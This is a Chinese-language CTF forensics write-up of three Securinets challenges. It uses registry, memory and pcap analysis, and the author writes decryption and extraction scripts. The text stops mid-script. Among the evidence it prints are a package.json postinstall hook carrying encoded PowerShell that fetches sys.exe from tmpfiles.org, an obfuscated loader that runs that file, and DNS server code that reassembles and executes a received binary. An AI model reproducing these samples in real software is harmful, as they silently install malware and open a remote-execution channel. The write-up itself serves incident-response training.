Silent Visitor

牢死了www

1
2
3
4
5
6
7
8
A user reported suspicious activity on their Windows workstation. Can you investigate the incident and uncover what really happened?
一位用户报告了其 Windows 工作站上的可疑活动。您能调查此事件并查明真相吗?

author: Enigma522

https://drive.google.com/file/d/1-usPB2Jk1J59SzW5T_2y46sG4fb9EeBk/view?usp=sharing

nc foren-1f49f8dc.p1.securinets.tn 1337

只给了一个test.ad1文件

1.What is the SHA256 hash of the disk image provided?

122B2B4BF1433341BA6E8FEFD707379A98E6E9CA376340379EA42EDB31A5DBA2

这个直接计算就好了

2.Identify the OS build number of the victim’s system?

19045

使用FTKimager打开给的text.ad1文件后导出其注册表文件,重点是SOFTWARE和SYSTEM

image-20251005211616066

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Registry import Registry

def extract_windows_version(software_path):
# 打开 SOFTWARE hive 文件
reg = Registry.Registry(software_path)

# 定位目标键
key_path = r"Microsoft\Windows NT\CurrentVersion"
try:
key = reg.open(key_path)
except Registry.RegistryKeyNotFoundException:
print(f"[!] 无法找到路径: {key_path}")
return

# 提取关键字段
product_name = key.value("ProductName").value() if key.value("ProductName") else "未知"
release_id = key.value("ReleaseId").value() if "ReleaseId" in [v.name() for v in key.values()] else "未知"
build = key.value("CurrentBuildNumber").value() if key.value("CurrentBuildNumber") else "未知"
ubr = key.value("UBR").value() if "UBR" in [v.name() for v in key.values()] else "0"
build_lab_ex = key.value("BuildLabEx").value() if "BuildLabEx" in [v.name() for v in key.values()] else ""

# 组合完整版本号
full_build = f"{build}.{ubr}" if ubr != "0" else build

print("📋 Windows 版本信息")
print("------------------------")
print(f"系统版本: {product_name}")
print(f"版本号: {release_id}")
print(f"构建号: {full_build}")
print(f"BuildLab: {build_lab_ex}")
print("------------------------")

if __name__ == "__main__":
path = input("请输入 SOFTWARE 文件路径: ").strip()
extract_windows_version(path)

使用代码得到buid版本号19045

image-202510052303221193.What is the ip of the victim’s machine?

192.168.206.131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Registry import Registry

def extract_ip(system_path):
reg = Registry.Registry(system_path)
base_path = r"ControlSet001\Services\Tcpip\Parameters\Interfaces"
try:
base = reg.open(base_path)
except:
print("[!] 找不到路径")
return

print("📡 发现的网络接口与 IP:")
for sub in base.subkeys():
name = sub.name()
ip = None
dhcp_ip = None
for val in sub.values():
if val.name() == "IPAddress":
ip = val.value()
if val.name() == "DhcpIPAddress":
dhcp_ip = val.value()
if ip or dhcp_ip:
print(f"接口 {name}: IP = {ip or dhcp_ip}")
print("----------------------------")

if __name__ == "__main__":
path = input("请输入 SYSTEM 文件路径: ").strip()
extract_ip(path)

继续从SYSTEM注册表中得到192.168.206.131

image-20251005230525067

4.What is the name of the email application used by the victim?

Thunderbird

在Program Files中找到Thunderbird

image-20251005230647250

5.What is the email of the victim?

ammar55221133@gmail.com

找到这个邮件软件对应的Appdata可以得到ammar55221133@gmail.com

image-20251005230926917

或者直接找到存储邮件的地方

image-20251005231203425

导出Important或者Sent Mail或者All Mail

6.What is the email of the attacker?

masmoudim522@gmail.com

在其中某一个文件中,可以得到

image-20251005231346839

7.What is the URL that the attacker used to deliver the malware to the victim?

https://tmpfiles.org/dl/23860773/sys.exe

打开这个github网址,根据邮件运行npm install时会执行安装项目依赖包(package.json 里列出的所有库)

但是这个package.json很奇怪

image-20251005231445527

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"name": "windows",
"version": "1.0.0",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"postinstall": "powershell -NoLogo -NoProfile -WindowStyle Hidden -EncodedCommand \"JAB3ACAAPQAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACIAOwAKACQAdQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADIAMwA4ADYAMAA3ADcAMwAvAHMAeQBzAC4AZQB4AGUAIgA7AAoAJABvACAAPQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABzAHkAcwAuAGUAeABlACIAOwAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAbwA=\""
},
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
"child_process": "^1.0.2",
"express": "^5.1.0",
"path": "^0.12.7"
}
}

解执行命令的base64得到

image-20251005231708596

同时在indexjs中,发现其隐藏执行proc.js

image-20251005231733026

image-20251005231811893

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
(function(){
const _0x4f3c = [
'cGhsc2VjcGM=',
'Y2hpbGRfcHJvY2Vzcw==',
'Y29uc29sZQ==',
'YXBwZGF0YQ==',
'c3lzLmV4ZQ==',
'ZXhlYw==',
'bG9n',
'ZXJyb3I=',
'U3RhcnQgd2l0aCA='
];

function _decode(b64) {
return Buffer.from(b64, 'base64').toString('utf-8');
}

const _require = require;
const child = _require(_decode(_0x4f3c[1])); // 'child_process'
const path = _require('path');
const sysenv = process.env[_decode(_0x4f3c[3])]; // 'appdata'
const exePath = path.join(sysenv, _decode(_0x4f3c[4])); // 'sys.exe'

const run = child[_decode(_0x4f3c[5])]; // 'exec'

run(`start "" "${exePath}"`, (err) => {
if (err) {
_require(_decode(_0x4f3c[2]))[_decode(_0x4f3c[7])](err); // console.error
} else {
_require(_decode(_0x4f3c[2]))[_decode(_0x4f3c[6])](_decode(_0x4f3c[8]) + exePath); // console.log
}
});
})();

发现这个会静默执行%APPDATA%下的sys.exe文件

那么url地址为之前解base64得到的https://tmpfiles.org/dl/23860773/sys.exe

8.What is the SHA256 hash of the malware file?

BE4F01B3D537B17C5BA7DC1BB7CD4078251364398565A0CA1E96982CFF820B6D

在APPDATA文件下找到,导出直接计算即可

image-20251005232423321

9.What is the IP address of the C2 server that the malware communicates with?

40.113.161.85

10.What port does the malware use to communicate with its Command & Control (C2) server?

5000

11.What is the url if the first Request made by the malware to the c2 server?

http://40.113.161.85:5000/helppppiscofebabe23

丢到国内外几个沙箱里跑一下(不会逆向)

安恒云沙箱-下一代沙箱的领航者

image-20251005232547893

奇安信情报沙箱

image-20251005232611364

VirusTotal - File - be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6d

image-20251005232729404

12.The malware created a file to identify itself. What is the content of that file?

3649ba90-266f-48e1-960c-b908e1f28aef

由上几图可知释放了C:\Users\Public\Documents\id.txt文件

image-20251005232954042

image-20251005233044343

13.Which registry key did the malware modify or add to maintain persistence?

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\MyApp

在国外的沙箱中,可以看到

image-20251005233212487

修改了注册表的值以达到持久化的目的,这个也很常见

14.What is the content of this registry?

C:\Users\ammar\Documents\sys.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
# scan_user_run.py
import sys
from Registry import Registry

def scan_run_value(ntuser_path, value_name="MyApp"):
"""
扫描指定 NTUSER.DAT 的 Run 键,获取指定值
"""
try:
reg = Registry.Registry(ntuser_path)
except Exception as e:
print(f"无法打开 NTUSER.DAT: {e}")
return

run_key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
try:
run_key = reg.open(run_key_path)
except Registry.RegistryKeyNotFoundException:
print(f"Run 键不存在: {run_key_path}")
return

found = False
for v in run_key.values():
if v.name() == value_name:
print(f"Found {value_name} -> {v.value()}")
found = True

if not found:
print(f"{value_name} 不存在于 {run_key_path}")

if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python scan_user_run.py /path/to/NTUSER.DAT")
sys.exit(1)

ntuser_path = sys.argv[1]
scan_run_value(ntuser_path)

写代码读取对应的值,其实也能猜出来,就是这个恶意软件的地址,这个软件在两个地方都有,之前寻找时在下面的地址也发现了

image-20251005233500889

15.The malware uses a secret token to communicate with the C2 server. What is the value of this key?

e7bcc0ba5fb1dc9cc09460baaa2a6986

这个在sys.exe的字符串中直接搜key就行

image-20251005233712290

最后一个很长的,不对劲

1
.data:00000000009B403B	0000035D	C	path\tBFimplant/cmd\nmod\tBFimplant\tv0.0.0-20240902223610-9171dff0fc53\t\ndep\tgithub.com/google/uuid\tv1.6.0\th1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=\ndep\tgolang.org/x/sys\tv0.11.0\th1:eG7RXZHdqOJ1i+0lgLgCpSXAp6M3LYlAo6osgSi0xOM=\nbuild\t-buildmode=exe\nbuild\t-compiler=gc\nbuild\t-ldflags=\"-s -w -X main.secret=e7bcc0ba5fb1dc9cc09460baaa2a6986 -X main.ipC2=qukttvktstk}p -H windowsgui\"\nbuild\tDefaultGODEBUG=asynctimerchan=1,gotestjsonbuildtext=1,gotypesalias=0,httpservecontentkeepheaders=1,multipathtcp=0,randseednop=0,rsa1024min=0,tls3des=1,tlsmlkem=0,winreadlinkvolume=0,winsymlink=0,x509keypairleaf=0,x509negativeserial=1,x509rsacrt=0,x509usepolicies=0\nbuild\tCGO_ENABLED=0\nbuild\tGOARCH=amd64\nbuild\tGOOS=windows\nbuild\tGOAMD64=v1\nbuild\tvcs=git\nbuild\tvcs.revision=9171dff0fc53e78e8f7cc44aae1c755c226021ec\nbuild\tvcs.time=2024-09-02T22:36:10Z\nbuild\tvcs.modified=false\n

可以看到main.secret=e7bcc0ba5fb1dc9cc09460baaa2a6986

最后得到flag

image-20251005210907433

Securinets{de2eef165b401a2d89e7df0f5522ab4f}

Lost File

感觉比第一题简单,不知道为什么做的人比第一个少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
My friend told me to run this executable, but it turns out he just wanted to encrypt my precious file.
我的朋友告诉我运行这个可执行文件,但事实证明他只是想加密我珍贵的文件。

And to make things worse, I don’t even remember what password I used. 😥
更糟糕的是,我甚至不记得我使用的密码是什么。😥

Good thing I have this memory capture taken at a very convenient moment, right?
幸好我在一个非常方便的时刻拍摄了这张记忆快照,对吧?

netorgft15219885-my.sharepoint.com/:u:/g/personal/fsaidi_intrinsic_security/EfLtokTYbq5PjzwHlOGDsK8BVlrHZY8CASz2VIkJXPewpQ?e=mm6bhs

mirror: 镜子:

https://drive.google.com/file/d/1Vxd6M50--nzqK-9snaj1oujwK7va26Tx/view

Securinets{screen+registry+mft??}

给了两个文件,mem.vmemdisk.ad1

对于ad1文件,是一个只能使用FTKimager打开分析的镜像文件(一开始在这卡好久)

先使用lovelymem分析一下内存文件,在控制台文件中发现

image-20251005182133523

运行了locker_sim.exe程序,C:\Documents and Settings\RagdollFan2005\Desktop>locker_sim.exe hmmisitreallyts结合题目描述确定这个是恶意文件

在FTK中打开,在对应位置找到,导出来然后分析一下

image-20251005181923280

采用aes256对文件进行了加密

image-20251005182518830

逆向分析

image-20251005182935775

发现读取了参数和计算机的名字(不存在为UNKNOWN_HOST),之后读取了secret_part.txt的内容立即删除该文件,并且把这三个数据拼接起来计算md5

image-20251005183106614

之后将sha256的结果做为AES256的key,前16字节做为iv,对文件进行加密,

现在,我们已经得到了执行这个程序时的参数hmmisitreallyts,接下来需要寻找电脑名称和secret_part的内容

电脑名称可以从内存或者注册表中找到

strings mem.vmem | findstr /i ComputerName得到RAGDOLLF-F9AC5A

image-20251005184943010

然后因为secret_part文件被删除了,所以尝试从$MFT文件中找,gpt5找到了sigmadroid

image-20251005185240847

然后计算sha256

hmmisitreallyts|RAGDOLLF-F9AC5A|sigmadroid --> 1117e5b8fdff9d7be375e7a88354c497b93788da64a3968621499687f10474e5

最后解密加密文件得Securinets{screen+registry+mft??}

image-20251005181754196

Recovery-赛后

1
2
This challenge may require some basic reverse‑engineering skills. Please note that the malware is dangerous, and you should proceed with caution. We are not responsible for any misuse. https://drive.google.com/drive/folders/1LI6ntsr9iD53D2bnCEv7YDt_bJSrrlWH
此挑战可能需要一些基本的逆向工程技能。请注意,该恶意软件非常危险,请谨慎操作。我们对任何误用行为概不负责。 https://drive.google.com/drive/folders/1LI6ntsr9iD53D2bnCEv7YDt_bJSrrlWH

给了两个文件,一个cap.pcpng文件还有一个dump的文件夹dump\Users\gumba

在dump出的用户的文件夹中,发现其clone了一个仓库,并且貌似运行了这个服务

image-20251006201442709

我们去这个仓库中看一下,但是发现代码貌似没了,

image-20251006202905161

遂去commits历史中看看,发现其对app.py和dns_server.py进行了多次修改

image-20251006204053489

分别在aa和dns6中找到了完整的app.py和dns_server.py

image-20251006204148986

在dns_server.py中,包含了这么一块代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def answer_query(self, request: DNSRecord) -> DNSRecord:
qname = str(request.q.qname)
qtype = QTYPE[request.q.qtype]

labels = qname.split(".")
print(labels)
if labels[-2] == self.special_domain:
if labels[0] == "end":
print("[+] Stop signal received, reconstructing file...")
ordered = [self.chunks[i] for i in sorted(self.chunks.keys())]
exe_bytes = b"".join(ordered)

with tempfile.NamedTemporaryFile(delete=False, suffix=".exe") as tmp_exe:
tmp_exe.write(exe_bytes)
exe_path = tmp_exe.name

print(f"[+] Running {exe_path}")
subprocess.run([exe_path], check=True)
os.unlink(exe_path)
elif len(labels) >= 3:
try:
dns_label = labels[0]
index = int(labels[1])
padded = dns_label + "=" * ((8 - len(dns_label) % 8) % 8)
decoded_bytes = base64.b32decode(padded)
key_byte = decoded_bytes[0]
encrypted_chunk = decoded_bytes[1:]
original_bytes = xor_bytes(encrypted_chunk, key_byte)
self.chunks[index] = original_bytes
print(f"[+] Received chunk {index}, len={len(original_bytes)}")
except Exception as e:
print(f"[!] Failed to decode chunk {labels}: {e}")

reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=0))

其中

1
2
3
print(f"[+] Running {exe_path}")
subprocess.run([exe_path], check=True)
os.unlink(exe_path)

意味着此 DNS 服务可被用于 远程命令执行 / 文件下发执行(C2 通道)

此时注意到pcapng包中,有多处符合上述描述的dns流量

image-20251006205349598

遂写代码提取其发送的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
#!/usr/bin/env python3
"""
Enhanced meow pcap extractor.

Reads pcap/pcapng, extracts DNS queries matching pattern:
<base32chunk>.<index>.meow...
or
end.<index>.meow

Decodes base32 -> [key_byte][xor_encrypted_chunk], XOR-decrypts, stores by index,
then reconstructs by ascending index. Supports DNS over UDP and DNS over TCP (length-prefixed).
Generates optional JSON report and SHA256 hash of reconstructed file.
"""
import argparse
import base64
import os
import json
import hashlib
from collections import defaultdict
from dataclasses import dataclass, asdict
from typing import Optional, Tuple, Dict, List
from dnslib import DNSRecord
from scapy.all import PcapReader, UDP, TCP, IP, IPv6

# -------------------------
# Utilities
# -------------------------
def xor_bytes(data_bytes: bytes, key_byte: int) -> bytes:
return bytes([b ^ key_byte for b in data_bytes])

def normalize_base32_label(s: str) -> str:
"""
Remove characters that are commonly used in DNS labels but not part of RFC4648 base32,
then uppercase (base32 decode is case-insensitive with casefold=True).
"""
# allow A-Z 2-7; remove everything else (but don't be overly strict)
filtered = "".join(ch for ch in s if ch.isalnum()).upper()
return filtered

def padded_base32_decode(s: str) -> bytes:
s_norm = normalize_base32_label(s)
if not s_norm:
raise ValueError("Empty chunk after normalization")
pad_len = (8 - (len(s_norm) % 8)) % 8
s_padded = s_norm + ("=" * pad_len)
return base64.b32decode(s_padded, casefold=True)

def compute_sha256(path: str) -> str:
h = hashlib.sha256()
with open(path, "rb") as f:
for chunk in iter(lambda: f.read(8192), b""):
h.update(chunk)
return h.hexdigest()

# -------------------------
# Data classes for report
# -------------------------
@dataclass
class ChunkMeta:
index: int
size: int
src: Optional[str] = None
dst: Optional[str] = None
sport: Optional[int] = None
dport: Optional[int] = None
ts: Optional[float] = None
qname: Optional[str] = None
first_seen_packet: Optional[int] = None
duplicates: int = 0

# -------------------------
# Parsing logic
# -------------------------
def process_dns_qname(qname: str, special_domain: str = "meow") -> Optional[Tuple[int, bytes]]:
"""
Return:
- ("__END__", idx) for end markers (idx may be -1 if not numeric)
- (index, original_bytes) for data chunks
- None for non-matching qnames
"""
labels = qname.rstrip(".").split(".")
if len(labels) < 3:
return None
# special domain expected at labels[2] (0-based)
if labels[2].lower() != special_domain.lower():
return None

chunk_label = labels[0]
index_label = labels[1]

if chunk_label.lower() == "end":
try:
idx = int(index_label) if index_label.isdigit() else -1
except Exception:
idx = -1
return ("__END__", idx)

try:
decoded = padded_base32_decode(chunk_label)
if len(decoded) < 1:
return None
key_byte = decoded[0]
encrypted_chunk = decoded[1:]
original = xor_bytes(encrypted_chunk, key_byte)
index = int(index_label)
return (index, original)
except Exception:
return None

# -------------------------
# PCAP extraction
# -------------------------
def extract_from_pcap(pcap_path: str, out_path: str, special_domain: str = "meow",
verbose: bool = True, require_end: bool = False):
"""
Returns tuple: (out_path, bytes_written, missing_indices, report_dict)
report_dict contains chunk metadata + summary info.
"""
chunks: Dict[int, bytes] = {}
meta: Dict[int, ChunkMeta] = {}
duplicates = 0
end_seen = False
expected_max_index: Optional[int] = None

total_pkts = 0
dns_pkts = 0
first_pkt_index = None

if verbose:
print(f"[+] Opening pcap: {pcap_path}")

with PcapReader(pcap_path) as reader:
for pkt_index, pkt in enumerate(reader, start=1):
total_pkts += 1
# time
ts = getattr(pkt, "time", None)

# IP layer extraction
src = None; dst = None
sport = None; dport = None
try:
if pkt.haslayer(IP):
src = pkt[IP].src; dst = pkt[IP].dst
elif pkt.haslayer(IPv6):
src = pkt[IPv6].src; dst = pkt[IPv6].dst
except Exception:
pass

# UDP DNS
if pkt.haslayer(UDP):
udp = pkt[UDP]
sport = int(getattr(udp, "sport", 0))
dport = int(getattr(udp, "dport", 0))
if sport != 53 and dport != 53:
continue
raw = bytes(udp.payload) # UDP payload is raw DNS
# TCP DNS (may be length-prefixed)
elif pkt.haslayer(TCP):
tcp = pkt[TCP]
sport = int(getattr(tcp, "sport", 0))
dport = int(getattr(tcp, "dport", 0))
if sport != 53 and dport != 53:
continue
raw = bytes(tcp.payload)
# Some captures include the 2-byte length prefix for DNS-over-TCP
if len(raw) >= 2:
# interpret first two bytes as network-order length
first_len = int.from_bytes(raw[:2], "big")
if first_len == len(raw) - 2:
raw = raw[2:]
# else: could be partial or combined segments; we still attempt to parse raw as DNS
else:
continue

if not raw:
continue

# Parse DNS
try:
dns = DNSRecord.parse(raw)
except Exception:
# ignore non-DNS or malformed
continue

# Only queries
if dns.header.get_qr() != 0 or len(dns.questions) == 0:
continue

dns_pkts += 1
qname = str(dns.q.qname)
res = process_dns_qname(qname, special_domain=special_domain)
if res is None:
continue

if isinstance(res, tuple) and res[0] == "__END__":
end_seen = True
idx = res[1]
if idx is not None and isinstance(idx, int) and idx >= 0:
expected_max_index = idx
if verbose:
print(f"[+] END marker seen (index={idx}) at pkt #{pkt_index} qname={qname}")
continue

# normal chunk
index, data = res
if index in chunks:
duplicates += 1
meta[index].duplicates += 1
if verbose:
print(f"[*] Duplicate chunk {index} at pkt #{pkt_index} (qname={qname}) - skipping")
else:
chunks[index] = data
meta[index] = ChunkMeta(
index=index,
size=len(data),
src=src,
dst=dst,
sport=sport,
dport=dport,
ts=ts,
qname=qname,
first_seen_packet=pkt_index,
duplicates=0
)
if verbose:
print(f"[+] Collected chunk {index} len={len(data)} pkt#{pkt_index} qname={qname}")

if verbose:
print(f"[+] Done scanning. total_pkts={total_pkts}, dns_pkts={dns_pkts}, collected_chunks={len(chunks)}, duplicates={duplicates}, end_seen={end_seen}")

if not chunks:
raise RuntimeError("No meow chunks found in pcap.")

ordered_indices = sorted(chunks.keys())
min_idx = ordered_indices[0]
max_idx = ordered_indices[-1]
missing = [i for i in range(min_idx, max_idx + 1) if i not in chunks]

# If END indicates total max index, reconcile
if expected_max_index is not None:
if expected_max_index > max_idx:
# some tail chunks missing (warn)
missing = [i for i in range(min_idx, expected_max_index + 1) if i not in chunks]
max_idx = expected_max_index

if require_end and not end_seen:
raise RuntimeError("Required END marker not seen in pcap (--require-end). Aborting reconstruction.")

if missing and verbose:
print(f"[!] Missing indices between {min_idx} and {max_idx}: {missing}")

# Reconstruct
reconstructed = b"".join(chunks[i] for i in ordered_indices if i in chunks)

# Write output
out_dir = os.path.dirname(out_path)
if out_dir and not os.path.exists(out_dir):
os.makedirs(out_dir, exist_ok=True)

with open(out_path, "wb") as f:
f.write(reconstructed)

# Build report
report = {
"pcap": os.path.abspath(pcap_path),
"out": os.path.abspath(out_path),
"total_packets": total_pkts,
"dns_packets": dns_pkts,
"collected_chunks": len(chunks),
"min_index": int(min_idx),
"max_index": int(max_idx),
"missing_indices": missing,
"end_seen": bool(end_seen),
"expected_max_index": expected_max_index,
"chunks": {str(k): asdict(v) for k, v in meta.items()}
}

if verbose:
print(f"[+] Wrote {len(reconstructed)} bytes to {out_path}")

return out_path, len(reconstructed), missing, report

# -------------------------
# CLI
# -------------------------
def main():
ap = argparse.ArgumentParser(description="Enhanced extractor for meow DNS chunks from pcap.")
ap.add_argument("pcap", help="pcap/pcapng file")
ap.add_argument("-o", "--out", required=True, help="output file path")
ap.add_argument("--domain", default="meow", help="special domain label (default: meow)")
ap.add_argument("--report", help="write JSON report to this path")
ap.add_argument("--sha256", action="store_true", help="compute SHA256 of reconstructed file")
ap.add_argument("--require-end", action="store_true", help="fail if END marker not seen")
ap.add_argument("-v", "--verbose", action="store_true", help="verbose output")
ap.add_argument("-q", "--quiet", action="store_true", help="quiet (suppress most output)")
args = ap.parse_args()

verbose = args.verbose and not args.quiet

try:
out_path, size, missing, report = extract_from_pcap(
args.pcap, args.out, special_domain=args.domain,
verbose=verbose, require_end=args.require_end
)
if args.sha256:
sh = compute_sha256(out_path)
report["sha256"] = sh
if not args.quiet:
print(f"[+] SHA256: {sh}")
if args.report:
with open(args.report, "w", encoding="utf-8") as rf:
json.dump(report, rf, indent=2)
if not args.quiet:
print(f"[+] JSON report written to: {args.report}")

if not args.quiet:
print(f"Done. Wrote {size} bytes to {out_path}. Missing indices: {missing}")
except Exception as e:
print(f"Error: {e}")

if __name__ == "__main__":
main()

之后010打开发现其被upx压缩了,upx.exe -d脱壳,ida分析,看一眼字符串,注意到几个重要的字符串

image-20251006211343338

定位到其所在函数,注意到调用了sub_401460跟进看看

image-20251006211702271

发现了其加密方法

image-20251006211751758

sub_401460 根据文件名和一个静态字节表 byte_40B200 计算出 32 位种子,然后用线性同余产生器(LCG,参数 v = 1664525*v + 1013904223)生成伪随机字节流,逐字节写入 a2(长度 Size)。

这个字节流是 sub_4014D1 用来与文件异或的 keystream,因此知道文件名 + 静态表就能完全复现并解密文件。

image-20251006212101722

得到静态表,ai写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
解密脚本 (针对 recovered.exe 的简单勒索加密器)
算法回顾:
1. 以 p_FileName (加密时的“完整路径”字符串, Windows 反斜杠) 逐字符混入种子:
seed ^= ord(ch) << (8 * (i & 3))
2. 再混入 37 字节常量表 byte_40B200:
for i,b in enumerate(TABLE[:37]): seed ^= b << (8 * (i & 3))
3. 生成密钥流:
(注意样本 for 结构: 先 ++ptr / 更新 state, 再在 for 第三表达式写入字节 => 实际首字节是 LCG 推进一次后的值)
state = seed
for each byte:
state = (A*state + C) & 0xffffffff
keystream[i] = state & 0xFF
4. 文件内容逐字节 XOR keystream 得到密文 (再 XOR 同样流可还原)

使用说明:
1. 需要尽量复原原始加密时的完整路径 (包含盘符, 例如 C:\\Users\\gumba\\...).
2. 如果你现在有一个转储目录 (如 dump/Users/gumba), 可指定 --base 指向该转储根, 再用 --orig-root 提供原始 USERPROFILE (例如 C:\\Users\\gumba)。
脚本会把扫描到的文件相对路径拼到 orig-root 上, 生成加密时的文件名字符串以再现密钥流。
3. 如果无法确定 orig-root, 可尝试 --basename-only 模式: 仅用文件的 basename 生成种子 (可能碰撞/失败)。
4. 默认原地解密 (会覆盖). 可指定 --out-dir 输出到另一目录 (保持相对结构)。
5. 支持简单文件类型魔数校验 (PNG/JPG/MP4/TXT) 来判断是否“像样”; 若加 --validate-fail-backup 则在疑似失败时保留原加密文件 .enc 备份。

例子:
python decrypt.py --base dump/Users/gumba --orig-root "C:\\Users\\gumba" --out-dir restored --validate

CTF 复现时常见文件: 图片 (PNG/JPG) / 文本 / mp4。

注意: 如果原始加密使用的是全路径, 而你现在路径不匹配, 种子会不同 → 解密结果是垃圾。需确保 --orig-root 正确。
"""
from __future__ import annotations
import os
import argparse
import pathlib
import sys
from typing import Optional, Tuple, List

TABLE = b"evilsecretcodeforevilsecretencryption"[:37] # 37 字节
LCG_A = 1664525
LCG_C = 1013904223
MASK32 = 0xFFFFFFFF

MAGIC_CHECKS = {
b"\x89PNG\r\n\x1a\n": "PNG",
b"\xFF\xD8\xFF": "JPG",
b"ftyp": "MP4_ftyp", # will search inside first 16 bytes
}

TEXT_LIKELY_RATIO = 0.90 # ASCII 可打印比例阈值


def compute_seed(filename: str) -> int:
"""按照样本逻辑, 使用 *传入字符串* 生成初始 seed.
filename 需使用反斜杠分隔 (Windows) 与原加密完全一致。
"""
seed = 0
for i, ch in enumerate(filename):
seed ^= (ord(ch) & 0xFF) << (8 * (i & 3))
seed &= MASK32
for i, b in enumerate(TABLE):
seed ^= b << (8 * (i & 3))
seed &= MASK32
return seed & MASK32


def generate_keystream(seed: int, size: int) -> bytes:
"""修正: 首字节应是 LCG 推进一次后的 state 低 8 位。"""
out = bytearray(size)
s = seed & MASK32
for i in range(size):
s = (LCG_A * s + LCG_C) & MASK32 # 先推进
out[i] = s & 0xFF # 再取低 8 位
return bytes(out)


def generate_keystream_variant(seed: int, size: int, variant: str) -> bytes:
"""variant=post: 先推进再取 (当前推断)
variant=pre : 先取当前低8位再推进 (备用)
"""
out = bytearray(size)
s = seed & MASK32
if variant == 'post':
for i in range(size):
s = (LCG_A * s + LCG_C) & MASK32
out[i] = s & 0xFF
else: # pre
for i in range(size):
out[i] = s & 0xFF
s = (LCG_A * s + LCG_C) & MASK32
return bytes(out)


def looks_reasonable(data: bytes) -> bool:
if not data:
return True
head = data[:16]
for m, name in MAGIC_CHECKS.items():
if head.startswith(m) or m in head:
return True
printable = sum(1 for b in data if 0x09 <= b <= 0x0D or 0x20 <= b <= 0x7E)
ratio = printable / max(1, len(data))
if ratio >= TEXT_LIKELY_RATIO:
return True
return False


def decrypt_bytes(raw: bytes, inferred_seed_name: str, variant: str) -> bytes:
seed = compute_seed(inferred_seed_name)
ks = generate_keystream_variant(seed, len(raw), variant)
return bytes(a ^ b for a, b in zip(raw, ks))


def attempt_decrypt(raw: bytes, candidates: List[Tuple[str,str]], validate: bool) -> Tuple[bytes, Tuple[str,str]]:
"""尝试多个 (seed_name, variant) 组合, 返回第一个通过校验的; 若都失败返回第一个结果"""
results = []
for seed_name, variant in candidates:
dec = decrypt_bytes(raw, seed_name, variant)
ok = True
if validate:
ok = looks_reasonable(dec)
results.append((ok, dec, (seed_name, variant)))
if ok:
return dec, (seed_name, variant)
# 兜底返回第一个
ok, dec, meta = results[0]
return dec, meta


def decrypt_file(src_path: pathlib.Path, inferred_seed_name: str, dst_path: pathlib.Path, validate: bool, backup_on_fail: bool, variant: str, multi_drive: List[str]):
try:
